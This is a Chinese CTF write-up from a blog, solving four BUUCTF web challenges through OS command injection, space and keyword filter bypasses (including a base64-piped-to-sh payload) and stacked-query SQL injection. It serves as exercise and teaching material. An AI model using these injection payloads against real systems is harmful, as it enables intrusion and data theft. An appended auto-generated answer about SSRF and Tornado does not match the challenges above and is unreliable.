【buuctf】每日4到(web)

[ACTF2020 新生赛]Exec1

看到可以ping地址的输入框,先输入127.0.0.1测测效果

看到此回显,猜测是命令执行漏洞

使用ls和pwd看看当前目录以及目录的文件

linux系统可使用&&或 ; 同时执行多条命令语句

因此可以测试

127.0.0.1&&ls&&pwd
127.0.0.1;ls;pwd

效果是一样的

目录遍历

ls ../,ls ../../等,最后在根目录发现flag文件

直接127.0.0.1&&cat /flag查看flag文件内容,得到flag

[GXYCTF2019]Ping Ping Ping1

开始只在页面遇到一个?ip=,于是试试?ip=127.0.0.1

于是便尝试命令执行漏洞(注:此题使用&&不行,要使用 ; 或者前面一个乱码跟着||和命令)

发现flag.php想要查看但是发现空格被过滤

但我们有几种办法绕过空格过滤

$IFS$5    //5为其他数字也行

${IFS}

<

<>

{cat,flag.php}  //此处,为空格

%20          //空格

%09          //tab

尝试后发现有其他的拦截

可以尝试看看源码

大概意思就是

<?php

if(isset($_GET['ip'])){//get传参接受ip,isset()判断是否为null



  $ip = $_GET['ip'];



  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

    /*

    preg_match()正则匹配,/xxx/为正则表达式的界定符,反斜杠为标识,如:\&表示&,\/表示/,\\表示\,|“或”的意思,连接不同的匹配选项。

    总之就是如果你输入的ip有以上字符的话就会被拦截

    */



    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);

    die("fxck your symbol!");

  } else if(preg_match("/ /", $ip)){//匹配空格

    die("fxck your space!");

  } else if(preg_match("/bash/", $ip)){//字符串bash

    die("fxck your bash!");

  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){

    /*

    .*f.*l.*a.*g.*

    .为匹配任意一个字符,后面的*表示0个或多个字符,那么.*就是匹配空气和任意字符串了

    那么.*f.*l.*a.*g.*就是匹配字符串里头有f,l,a,g都能被拦截

    */



    die("fxck your flag!");

  }

  $a = shell_exec("ping -c 4 ".$ip);//执行系统命令

  echo "<pre>";

  print_r($a);

}



?>

绕过方法:

变量拼接绕过:

linux里头变量可以拼接字符串如:

x=aaa

echo ccc{$x}mmm

回显的是cccaaammm

但是要避免使用{}否则会被拦截

因此我们只能把变量放在末尾,如:

$x=lag

echo f$x.php

猜测$解析变量时,会从$后面一个字符解析直到非法字符或末尾,例如jahd$jahhjd-jjs解析出的变量为$jahhjd

举个例子:

第一个被解析成xhhh因此没有拼接,但第二个解析过程遇到变量非法字符-

解析终止到x,因此成功拼接

综上所述构造payload

?ip=127.0.0.1;x=lag;cat$IFS$5f$x.php

成功拿到flag

内敛执行:

cat `ls`可以查看ls列出所有文件的内容

因此构造payload:

?ip=127.0.0.1;cat$IFS$5`ls`

得到flag

sh编码绕过

echo 命令编码(base64编过的)|base64 -d|sh

cat flag.php base64编码为Y2F0IGZsYWcucGhw

故 payload为

?ip=127.0.0.1;echo$IFS$5Y2F0IGZsYWcucGhw|base64$IFS$5-d|sh

[SUCTF 2019]EasySQL1

开始只有一个框,不断测试发现是数字型,同时输入正常数字时有回显,输入0或字符串无回显,符合sql的布尔判断(非0数字判为ture,0或字符串判为false),故猜测源码有或逻辑

利用堆叠注入查表

1;show tables;#

但是想查询Flag时,发现被拦截

因此只能利用这个或||逻辑,盲猜是select $_POST[] || flag 这样的后端代码

因此啊尝试 *,1

一拼接为select *,1||flag

得到flag

(还有一个改sql模式的,但是我试一下好像不行,不管了)

[强网杯 2019]随便注

打开一个框,输入1或2才有回显,其他的没有,还有waf,

尝试堆叠注入

1’show tables;#

得到表名

发现一个臭表,对凑表爆列名

1';show columns from `1919810931114514`;#

因此我们的目的为看到凑表里头flag字段的内容

有几个方法:

handler遍历表:

利用handler命令可以遍历一个表,格式为

handler [表名] open;

handler [表名] read first;

handler [表名] close;

故payload为:

1';handler `1919810931114514` open;handler `1919810931114514` read first;handler `1919810931114514` close;#

找到flag

预处理+16进制编码

前提知识引入:sql预处理格式为:

set@s=’[sql语句]’;

prepare exesql from @s;

execute exesql;

例如:

SET@s='select * from test1';

PREPARE `sql` FROM @s;

EXECUTE `sql`;

关于php的strstr()函数,后端将set和prepare过滤掉了,strstr查找一个字符串在另一个字符串中第一次出现的位置。它返回从找到的子字符串开始到目标字符串末尾的所有内容,

例如:

$string = "Hello, World!";

$result = strstr($string, "World"); // 返回 "World!"

但是它不会识别大小写,可以大写绕过

select * from `1919810931114514`十六进制编码为

0x73656c656374202a2066726f6d20603139313938313039333131313435313460

对set和prepare任意几个字母大写

综上所述,构造payload:

1'Set@s=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;Prepare exesql from @s;execute exesql;

得到flag

预处理+concat()拼接

concat()里头有多少个参数就全拼接完,例如:

SELECT CONCAT('aaa','bbb','ccc');

回显为aaabbbccc

预处理原理上文已经讲过

因此直接构造payload

1';Set@s=concat('se','lect',' * from `1919810931114514`');Prepare exesql from @s;execute exesql;#

得到flag

这里还有一个直接把word表名改成flag的,然后该列名的,由于比较麻烦,不深究

回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTF】buuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值